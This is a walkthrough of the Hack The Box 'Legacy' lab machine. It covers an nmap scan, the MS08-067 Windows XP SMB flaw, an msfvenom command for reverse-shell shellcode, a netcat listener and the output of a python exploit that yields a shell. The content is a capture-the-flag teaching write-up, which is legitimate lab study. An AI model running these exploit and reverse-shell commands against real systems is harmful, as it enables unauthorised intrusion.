hackthebox legacy walkthrough

Starting with nmap

# nmap -sC -sV -oA htb/legacy/legacy
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-15 21:31 EDT
Nmap scan report for
Host is up (0.16s latency).
Not shown: 997 filtered ports
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h27m13s, deviation: 2h07m16s, median: 4d22h57m13s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:51:c6 (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2019-07-21T06:29:07+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 272.05 seconds

smb port 445 is open and the machine is XP….legacy

Searching on the internet, xp is affected by ms08-067, CVE-2008-4250

Further python exploit is available for this. We can download it from here.

First of all we need to change the shellcode in the script. For this we are going to generate our own shellcode.

We will listen on port 62000 for shell.

# nc -lvnp 62000

then lets run following

# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
-- snip --
unsigned char buf[] = 

Replace shellcode in the script with above. Make sure to remove ‘;’

Then run the python script

# python ms08-067.py 6 445
-- snip --
Windows XP SP3 English (NX)

[-]Initiating connection
[-]connected to ncacn_np:[\pipe\browser]
Exploit finish

We will get the shell

# nc -lvnp 62000
listening on [any] 62000 ...
connect to [] from (UNKNOWN) [] 1031
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


Leave a Reply

Your email address will not be published. Required fields are marked *